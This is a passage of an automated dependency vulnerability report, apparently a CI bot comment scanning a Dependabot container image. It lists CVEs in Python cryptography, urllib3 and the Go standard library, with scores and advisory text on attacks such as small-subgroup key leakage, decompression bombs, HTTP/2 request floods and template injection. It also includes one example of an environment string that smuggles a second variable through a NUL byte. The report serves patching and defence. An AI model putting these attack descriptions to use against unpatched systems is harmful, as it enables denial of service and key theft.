        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        1 similar comment
        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

